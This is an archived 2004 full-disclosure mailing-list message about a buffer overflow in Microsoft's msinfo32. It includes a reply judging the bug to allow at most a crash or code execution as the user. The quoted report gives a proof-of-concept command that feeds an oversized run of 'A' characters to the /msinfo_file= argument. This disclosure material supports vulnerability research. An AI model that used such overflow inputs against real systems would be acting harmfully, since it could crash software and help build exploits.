full-disclosure - MSInfo Buffer Overflow

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Message-ID: <200408302345.i7UNj9305022@pop-5.dnv.wideopenwest.com>
From: mvp at joeware.net (joe)
Subject: MSInfo  Buffer Overflow

I think at best you could succeed in crashing the process or executing code
in the context of the user running msinfo32. 
 

-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of E.Kellinis
Sent: Monday, August 30, 2004 11:17 PM
To: full-disclosure@...ts.netsys.com
Subject: [Full-Disclosure] MSInfo Buffer Overflow

<SNIP>

Although in tests this bug wouldnt lead to dangerous situations.. 
I wouldnt bet 100% on that !

=====================
Proof Of Concept Code
=====================

C:\Program Files\Common Files\Microsoft Shared\MSInfo>
msinfo32 /msinfo_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA